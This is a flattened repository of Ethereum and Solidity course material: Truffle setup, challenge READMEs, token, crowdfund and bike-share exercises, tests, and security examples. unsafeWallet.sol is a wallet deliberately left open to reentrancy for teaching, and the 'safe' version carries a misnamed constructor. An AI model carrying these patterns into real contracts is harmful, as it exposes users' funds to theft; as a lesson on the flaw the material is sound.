{ 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/final/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/simple_payment_channel/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/simple_payment_channel/truffle-config.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | // See 17 | // to customize your Truffle configuration! 18 | }; 19 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/07/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 07 Events 4 | 5 | In this exercise, we will be adding events to our contract 6 | 7 | 8 | Implement donateBike and getAvailable 9 | 10 | 11 | Add these events in the right places in the contract: 12 | 13 | - Donation takes in and address and amount 14 | - CreditsPurchased, takes in the address of the purchaser, how much he paid in eth and how many credits he got 15 | - BikeRented that takes in the address of the renter and the bikeNumber 16 | - BikeRidden that takes in the address of the renter, the bikeNumber and the amount of kilometers ridden 17 | - BikeReturned that takes in the address of the renter and the bikeNumber 18 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/03/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 03 Using the context 4 | 5 | In this exercise, we will start implementing a few interesting functions using some of the context variables we saw earlier. 6 | 7 | - In the constructor, initialize the bike array with 5 new bikes, each of the bikes owner is you. Initialize the struct with default values. 8 | - Implement the purchaseCredit function. The amount of credits received should be proportional to the amount of ether sent. After the function runs, the user should have a balance of credits. 9 | - Implement a getCreditBalance function. It should take in as input and address and simply read the credits mapping and return the credits balance of a user. 10 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 04 Crowdfund constructor and fallback function 4 | 5 | In this exercise, we will add functionality to the crowdfund constructor 6 | 7 | - Change the constructor so that one can set a maxSupply, mint a number of tokens and inititalize the startBlock variable when deployed. The constructor should also set the ownerWallet to the message sender. The startblock should be the current block where the contract is mined. 8 | 9 | - Change the fallback function so that when a user sends Ether, the buyTokens function would be called with the right variables. 10 | 11 | - Don't forget to change the migrations script. It should have a max supply of 1 000 000 and mint 100 tokens 12 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/truffle.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | // See 17 | // to customize your Truffle configuration! 18 | networks: { 19 | ganache: { 20 | host: "127.0.0.1", 21 | port: 7545, 22 | network_id: "*" 23 | } 24 | } 25 | }; 26 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/simple_payment_channel/truffle.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | // See 17 | // to customize your Truffle configuration! 18 | networks: { 19 | ganache: { 20 | host: "127.0.0.1", 21 | port: 7545, 22 | network_id: "*" 23 | } 24 | } 25 | }; 26 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 03 Crowdfund initialization 4 | 5 | In this exercise, we will add a crowdfund contract 6 | 7 | - Create a SimpleCrowdfund file 8 | - Add a constructor 9 | - SimpleCrowdfund inherits from SimpleToken 10 | 11 | Add the following functions to the crowdfund contact: 12 | 13 | - buyTokens, takes in an address as input and returns a boolean 14 | - getRate, takes in no argument, is constant and returns a uint256 15 | - fallback function 16 | 17 | Add two variables: 18 | 19 | - ownerWallet, it is an address 20 | - startBlock that keeps track of the start block for the crowdfund 21 | 22 | Add one event: 23 | 24 | - TokenPurchase that takes in an address and a value. The address should be searchable. 25 | 26 | Don't forget to update your migration script -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 05 BuyTokens and getRate 4 | 5 | In this exercise, we will implement the buyTokens and getRate function 6 | 7 | Change the getRate function so that it returns a different rate depending on the current block number: 8 | 9 | - Returns 8 if within blocks 0 and 500 form startBlock 10 | - Returns 7 if within blocks 500 and 750 form startBlock 11 | - Returns 6 if within blocks 750 and 1000 form startBlock 12 | - Returns 5 if over 1000 13 | 14 | 15 | 16 | Change the buyTokens function so that it: 17 | 18 | - Adds tokens to the users balance. The calculation should be proporational to the amount of ether sent (ether sent * rate) 19 | - It transfers the ether directly to the ownerWallet 20 | - It emits a TokenPurchase event 21 | - It ensures that we are within 2000 blocks from the startBlock -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/04/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | address owner; 6 | 7 | constructor() internal { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier onlyOwner() { 12 | require(msg.sender == owner, "Message sender is not the owner"); 13 | _; 14 | } 15 | 16 | function set(uint _value) public { 17 | value = _value; 18 | } 19 | 20 | function get() public view returns (uint) { 21 | return value; 22 | } 23 | 24 | uint value; 25 | 26 | function balance() public view returns (uint256) { 27 | return address(this).balance; 28 | } 29 | 30 | function transfer(address payable _to) public onlyOwner returns (bool) { 31 | _to.transfer(address(this).balance); 32 | } 33 | 34 | function () payable external {} 35 | } -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/final/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | address owner; 6 | 7 | constructor() internal { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier onlyOwner() { 12 | require(msg.sender == owner, "Message sender is not the owner"); 13 | _; 14 | } 15 | 16 | function set(uint _value) public { 17 | value = _value; 18 | } 19 | 20 | function get() public view returns (uint) { 21 | return value; 22 | } 23 | 24 | uint value; 25 | 26 | function balance() public view returns (uint256) { 27 | return address(this).balance; 28 | } 29 | 30 | function transfer(address payable _to) public onlyOwner returns (bool) { 31 | _to.transfer(address(this).balance); 32 | } 33 | 34 | function () payable external {} 35 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 01 Structure 4 | 5 | In this exercise, we will create a contract that adheres to the ERC20 interface 6 | 7 | - Create a SimpleToken contract that adheres to the ERC20 standard. 8 | 9 | - Make a brand new folder called `library` in the `contracts` folder. Copy 2 the two following libraries: [Ownable.sol](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol) and [SafeMath.sol](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) from OpenZeppelin and add them to the library folder. 10 | 11 | - Add a mint function that takes in an address, and amount and is only callable by the owner and all other functions inside the contract. Do not implement the function body 12 | 13 | - Add a maxSupply variables that has a default of 1000 14 | 15 | - The contract should be Ownable, and use SafeMath as a library for all uint256 -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor() public { 19 | 20 | } 21 | 22 | // Function that actually buys the tokens 23 | function buyTokens(address _to) public returns (bool) {} 24 | 25 | // GetRate returns the rate of the tokens based on the current block 26 | function getRate() public view returns (uint256) {} 27 | 28 | // If user simply send ETH, call buy tokens with the message sender 29 | function() external payable {} 30 | 31 | } 32 | 33 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/02/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 02 Variables 4 | 5 | In this exercise, we will add the different global variables necessary for this contract 6 | 7 | Add these global variables to the contract along with the correct data type: 8 | 9 | - Initial credit price (creditPrice), should be worth 1 finney 10 | - Initial cost per kilometer (cpkm) should be equal to 5 11 | - Initial credits received for donating a bike (donateCredits) should be equal to 500 12 | - Initial credits given for repairing a bike (repairCredits) should be equal to 250 13 | - Mapping to keep track of the bikes rented (bikeRented). Each user has an address, and each bike is identified by a number 14 | - Mapping to keep track of user's credit balances. Each user has an address, and a total amount of credits 15 | - A new "type" of name Bike (Bike). A bike has an owner, knows whether it is rented or not, and has a total amount of kilometers ridden 16 | - An array of said bike (bikes) 17 | 18 | 19 | *For simplicity purposes every number should be represented as a uint256* -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/contracts/PlasmaMVP.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; 4 | 5 | contract PlasmaMVP is Ownable { 6 | 7 | // // for each block storing (i) the Merkle root, (ii) the time the Merkle root was submitted. 8 | // struct PlasmaBlock { 9 | // bytes32 blockHash; 10 | // uint256 timestamp; 11 | // } 12 | 13 | // // "list" of Plasma blocks, here we use a mapping 14 | // mapping(uint256 => Block) plasmaBlocks; 15 | 16 | // // storing (i) the submitter address, and (ii) the UTXO position (Plasma block number, txindex, outindex). 17 | // struct ExitTransaction { 18 | // address submitter; 19 | // uint256 plasmaBlockNumber; 20 | // uint256 txIndex; 21 | // uint256 outIndex; 22 | // } 23 | 24 | // // need a priority Queue 25 | // //This must be stored in a data structure that allows transactions to be popped from the set in order of priority. 26 | 27 | 28 | // // list of submitted exit transactions 29 | // mapping(uint256 => ExitTransaction) exitTransactions; 30 | 31 | constructor() { 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT license 2 | 3 | Copyright (C) 2015 Patrick Guay 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 9 | of the Software, and to permit persons to whom the Software is furnished to do 10 | so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/05/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 05 Error handling and modifiers 4 | 5 | In this exercise, we will add modifiers and error handlers to protect our functions: 6 | 7 | Implement 3 functions: 8 | 9 | - rentBike: takes as argument a bikeNumber and allows the message sender to rent a bike 10 | - rideBike: takes in the amount of kilometers the user is riding the bike, reduces the amount of credits the user has accordingly 11 | - returnBike: let's the user return the bike 12 | 13 | Create 3 modifiers with these functionalities: 14 | 15 | - A modifier called canRent, that takes in a bikeNumber as argument ensures that the bike is not rented, and that the owner is currently not renting another bike 16 | - A modifier called hasRental, that takes in no arguments and ensures that the message sender owns the rental 17 | - A modifier called hasEnoughCredits, that takes in the amount of kilometers the owner wants to bike, and ensure that he has enough credits when calculating the kilometers times the cost per kilometers 18 | 19 | Refactor the functions and add these modifiers to the correct functions 20 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/00/README.md: -------------------------------------------------------------------------------- 1 | # Token Challenge 2 | 3 | ## 00 Setup Truffle 4 | 5 | In an empty folder, run `truffle init` 6 | 7 | Feel free to look at the different files that get created. 8 | 9 | In `truffle-config.js`, make sure that under `solc` you are using the correct version `0.5.4` 10 | 11 | In the `contracts` folder, create a new file named `HelloWorld.sol` and add in this code. 12 | 13 | ```javascript 14 | pragma solidity ^0.5.4; 15 | 16 | contract HelloWorld { 17 | 18 | uint value; 19 | function set(uint _value) public { 20 | value = _value; 21 | } 22 | 23 | function get() public view returns (uint) { 24 | return value; 25 | } 26 | } 27 | ``` 28 | 29 | In the `migrations` folder, create a new file named `2_deploy_hello_world.js` and add in this code: 30 | 31 | ```javascript 32 | const HelloWorld = artifacts.require("HelloWorld"); 33 | 34 | module.exports = function(deployer) { 35 | // Use deployer to state migration tasks. 36 | deployer.deploy(HelloWorld) 37 | }; 38 | 39 | ``` 40 | 41 | In a terminal at the root directory of the folder, write `truffle develop`, a REPL should appear 42 | 43 | Write `deploy`. Inspect what is shown to you. -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/test/token.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfundArtifact = artifacts.require("./SimpleCrowdfund"); 2 | 3 | contract('SimpleCrowdfund', function (accounts) { 4 | let alice = accounts[0] 5 | let bob = accounts[1] 6 | let simpleCrowdfund; 7 | 8 | it("should assert true", async () => { 9 | simpleCrowdfund = await SimpleCrowdfundArtifact.deployed(); 10 | assert.isTrue(simpleCrowdfund.address !== "", "no address for the contract"); 11 | }); 12 | 13 | it("Should return the correct rate", async () => { 14 | let rate = await simpleCrowdfund.getRate() 15 | assert.equal(rate.toNumber(), 8, "Get rate returned an invalid number"); 16 | }); 17 | 18 | it("Should let alice buy tokens for bob", async () => { 19 | let balanceBob = await simpleCrowdfund.balanceOf(bob) 20 | 21 | assert.equal(balanceBob.toNumber(), 0, "bob should not have tokens") 22 | 23 | // buy tokens 24 | await simpleCrowdfund.buyTokens(bob, { 25 | from: alice, 26 | value: "10000" 27 | }) 28 | 29 | balanceBob = await simpleCrowdfund.balanceOf(bob) 30 | assert.equal(balanceBob.toString(), "80000", "bob does not have the correct balance") 31 | }); 32 | 33 | 34 | }); -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor(uint256 _maxSupply, uint256 _toMint) public { 19 | maxSupply = _maxSupply; 20 | ownerWallet = msg.sender; 21 | require(mint(msg.sender, _toMint)); 22 | startBlock = block.number; 23 | } 24 | 25 | 26 | // Function that actually buys the tokens 27 | function buyTokens(address _to) public returns (bool) {} 28 | 29 | // GetRate returns the rate of the tokens based on the current block 30 | function getRate() public view returns (uint256) {} 31 | 32 | // If user simply send ETH, call buy tokens with the message sender 33 | function() external payable { 34 | buyTokens(msg.sender); 35 | } 36 | 37 | } 38 | 39 | -------------------------------------------------------------------------------- /modules/examples/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | //jshint ignore: start 4 | 5 | pragma solidity ^0.4.11; 6 | 7 | 8 | /** 9 | * @title Ownable 10 | * @dev The Ownable contract has an owner address, and provides basic authorization control 11 | * functions, this simplifies the implementation of "user permissions". 12 | */ 13 | contract Ownable { 14 | address public owner; 15 | 16 | 17 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 18 | 19 | 20 | /** 21 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 22 | * account. 23 | */ 24 | function Ownable() public { 25 | owner = msg.sender; 26 | } 27 | 28 | 29 | /** 30 | * @dev Throws if called by any account other than the owner. 31 | */ 32 | modifier onlyOwner() { 33 | require(msg.sender == owner); 34 | _; 35 | } 36 | 37 | 38 | /** 39 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 40 | * @param newOwner The address to transfer ownership to. 41 | */ 42 | function transferOwnership(address newOwner) onlyOwner public { 43 | require(newOwner != address(0)); 44 | OwnershipTransferred(owner, newOwner); 45 | owner = newOwner; 46 | } 47 | 48 | } -------------------------------------------------------------------------------- /modules/examples/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.21; 2 | 3 | 4 | /** 5 | * @title SafeMath 6 | * @dev Math operations with safety checks that throw on error 7 | */ 8 | library SafeMath { 9 | 10 | /** 11 | * @dev Multiplies two numbers, throws on overflow. 12 | */ 13 | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { 14 | if (a == 0) { 15 | return 0; 16 | } 17 | c = a * b; 18 | assert(c / a == b); 19 | return c; 20 | } 21 | 22 | /** 23 | * @dev Integer division of two numbers, truncating the quotient. 24 | */ 25 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 26 | // assert(b > 0); // Solidity automatically throws when dividing by 0 27 | // uint256 c = a / b; 28 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 29 | return a / b; 30 | } 31 | 32 | /** 33 | * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). 34 | */ 35 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 36 | assert(b <= a); 37 | return a - b; 38 | } 39 | 40 | /** 41 | * @dev Adds two numbers, throws on overflow. 42 | */ 43 | function add(uint256 a, uint256 b) internal pure returns (uint256 c) { 44 | c = a + b; 45 | assert(c >= a); 46 | return c; 47 | } 48 | } -------------------------------------------------------------------------------- /modules/examples/security_examples/unsafeWallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | /* 4 | /////////////////////////////// UNSAFE WALLET ////////////////////////////////////// 5 | /////////////////////////////// NEVER TO BE USED /////////////////////////////////// 6 | */ 7 | contract UnsafeWallet { 8 | 9 | mapping(address => uint) balances; 10 | 11 | function UnsafeWallet() payable { 12 | // when creating the contract, the creator can send money along with it, this will initialize his balance 13 | balances[msg.sender] = msg.value; 14 | } 15 | // Withdraw your balance. 16 | function withdraw() returns(bool){ 17 | uint toWithdraw = balances[msg.sender]; 18 | // .call returns true if completed, false otherwise 19 | // the biggest flaw here is that .call() gives all of the remaining gas to the recipient 20 | // thus a re-entrancy attack can be done again and again 21 | if (msg.sender.call.value(toWithdraw)()){ 22 | balances[msg.sender] = 0; 23 | return true; 24 | } 25 | return false; 26 | } 27 | 28 | function deposit() payable returns(bool) { 29 | balances[msg.sender] += msg.value; 30 | return true; 31 | } 32 | 33 | function balanceOf(address _owner) constant returns (uint256 balance) { 34 | return balances[_owner]; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/04/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 04 Function Accessors 4 | 5 | In this exercise, we will add function accessors to all necessary functions and variables 6 | 7 | Create an automatic getters for: 8 | - The bike array 9 | - bikeRented mapping 10 | - credits mapping 11 | 12 | Set following functions to be accessible by anyone, including functions inside the contract: 13 | 14 | - Constructor 15 | - getAvailable 16 | - getCreditBalance 17 | - fallback function 18 | 19 | Set following functions to be accessible by anyone, excluding functions inside the contract: 20 | 21 | - returnBike 22 | - rideBike 23 | - rentBike 24 | - setCreditPrice 25 | - setCPKM 26 | - setDonateCredits 27 | - setRepairCredits 28 | 29 | Set following functions to be accessible only inside the contract and not child contracts: 30 | 31 | - purchaseCredits 32 | 33 | Set following variables to be accessible only inside the contract and also by child contracts: 34 | 35 | - creditPrice 36 | - cpkm 37 | - donateCredits 38 | - repairCredits 39 | 40 | Set the following function as a function that does not change state, but reads form it: 41 | 42 | - getCreditBalance 43 | - getAvailable 44 | 45 | 46 | Challenge: 47 | 48 | If purchaseCredits is private, how can we go about purchasing credits by simply sending a value transaction to the contract (aka sending ETH only, no calldata) 49 | -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/final/abi.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "constant": false, 3 | "inputs": [{ 4 | "name": "_to", 5 | "type": "address" 6 | }], 7 | "name": "transfer", 8 | "outputs": [{ 9 | "name": "", 10 | "type": "bool" 11 | }], 12 | "payable": false, 13 | "stateMutability": "nonpayable", 14 | "type": "function" 15 | }, { 16 | "constant": false, 17 | "inputs": [{ 18 | "name": "_value", 19 | "type": "uint256" 20 | }], 21 | "name": "set", 22 | "outputs": [], 23 | "payable": false, 24 | "stateMutability": "nonpayable", 25 | "type": "function" 26 | }, { 27 | "constant": true, 28 | "inputs": [], 29 | "name": "get", 30 | "outputs": [{ 31 | "name": "", 32 | "type": "uint256" 33 | }], 34 | "payable": false, 35 | "stateMutability": "view", 36 | "type": "function" 37 | }, { 38 | "constant": true, 39 | "inputs": [], 40 | "name": "balance", 41 | "outputs": [{ 42 | "name": "", 43 | "type": "uint256" 44 | }], 45 | "payable": false, 46 | "stateMutability": "view", 47 | "type": "function" 48 | }, { 49 | "inputs": [], 50 | "payable": false, 51 | "stateMutability": "nonpayable", 52 | "type": "constructor" 53 | }, { 54 | "payable": true, 55 | "stateMutability": "payable", 56 | "type": "fallback" 57 | }] -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 06 Testing 4 | 5 | In this exercise, we will implement a few tests for our contract. Automated testing is *extremely important*. 6 | 7 | In the test directory, create a new file called `token.js` 8 | 9 | Inside it, add the following code 10 | 11 | ```javascript 12 | const SimpleCrowdfundArtifact = artifacts.require("./SimpleCrowdfund"); 13 | 14 | contract('SimpleCrowdfund', function (accounts) { 15 | let simpleCrowdfund; 16 | 17 | it("should assert true", async () => { 18 | simpleCrowdfund = await SimpleCrowdfundArtifact.deployed(); 19 | assert.isTrue(simpleCrowdfund.address !== "", "no address for the contract"); 20 | }); 21 | 22 | }); 23 | ``` 24 | 25 | The simpleCrowdfund variable is an object representing our smart contract. It has all of the public/external functions of the smart contract as methods. 26 | 27 | So for example, to call our getRate function, all we need to do is call it from our object: 28 | 29 | `let rate = await simpleCrowdfund.getRate()` 30 | 31 | When calling such a function, a promise is returned. Be sure to use either the `.then()` or the `async/await` notation to get the result of the promise. 32 | 33 | Create 2 new tests, one to verify that the current rate of the contract is 8 and the other that buys tokens for `accounts[1]` from `accounts[0]` with a value of 10000 Wei 34 | 35 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/unidirectional_payment_channel/payment-channel/channel.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.0; 2 | 3 | contract Channel { 4 | 5 | address public channelSender; 6 | address public channelRecipient; 7 | uint public startDate; 8 | uint public channelTimeout; 9 | mapping (bytes32 => address) signatures; 10 | 11 | function Channel(address to, uint timeout) payable { 12 | channelRecipient = to; 13 | channelSender = msg.sender; 14 | startDate = now; 15 | channelTimeout = timeout; 16 | } 17 | 18 | function CloseChannel(bytes32 h, uint8 v, bytes32 r, bytes32 s, uint value){ 19 | 20 | address signer; 21 | bytes32 proof; 22 | 23 | // get signer from signature 24 | signer = ecrecover(h, v, r, s); 25 | 26 | // signature is invalid, throw 27 | if (signer != channelSender && signer != channelRecipient) throw; 28 | 29 | proof = sha3(this, value); 30 | 31 | // signature is valid but doesn't match the data provided 32 | if (proof != h) throw; 33 | 34 | if (signatures[proof] == 0) 35 | signatures[proof] = signer; 36 | else if (signatures[proof] != signer){ 37 | // channel completed, both signatures provided 38 | if (!channelRecipient.send(value)) throw; 39 | selfdestruct(channelSender); 40 | } 41 | 42 | } 43 | 44 | function ChannelTimeout(){ 45 | if (startDate + channelTimeout > now) 46 | throw; 47 | 48 | selfdestruct(channelSender); 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /modules/examples/security_examples/safeWallet1.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | 4 | contract SafeWallet1 { 5 | 6 | mapping(address => uint) balances; 7 | 8 | function UnsafeWallet() payable { 9 | // when creating the contract, the creator can send money along with it, this will initialize his balance 10 | balances[msg.sender] = msg.value; 11 | } 12 | // Withdraw your balance. 13 | function withdraw() returns(bool){ 14 | uint toWithdraw = balances[msg.sender]; 15 | balances[msg.sender] = 0; 16 | // .call returns true if completed, false otherwise 17 | // using .send is preferred 18 | // using .transfer is the best solution (throws on exceptions) 19 | if (msg.sender.call.value(toWithdraw)()){ 20 | return true; 21 | } 22 | return false; 23 | } 24 | 25 | function deposit() payable returns(bool) { 26 | balances[msg.sender] += msg.value; 27 | return true; 28 | } 29 | 30 | function balanceOf(address _owner) constant returns (uint256 balance) { 31 | return balances[_owner]; 32 | } 33 | } 34 | 35 | 36 | // msg.send is equivalent to msg.sender.call.gas(0).value(number)(); Where you send no gas along with it. 37 | //send sends 0 gas, but there's an EVM rule that the receiver always gets a stipend of 2,300 gas 38 | // (so that it always has enough gas to log that it received something) -------------------------------------------------------------------------------- /jupyter_notebook/firstTransaction.md: -------------------------------------------------------------------------------- 1 | # Getting your very first Ether (using JSON-RPC) 2 | ## Command 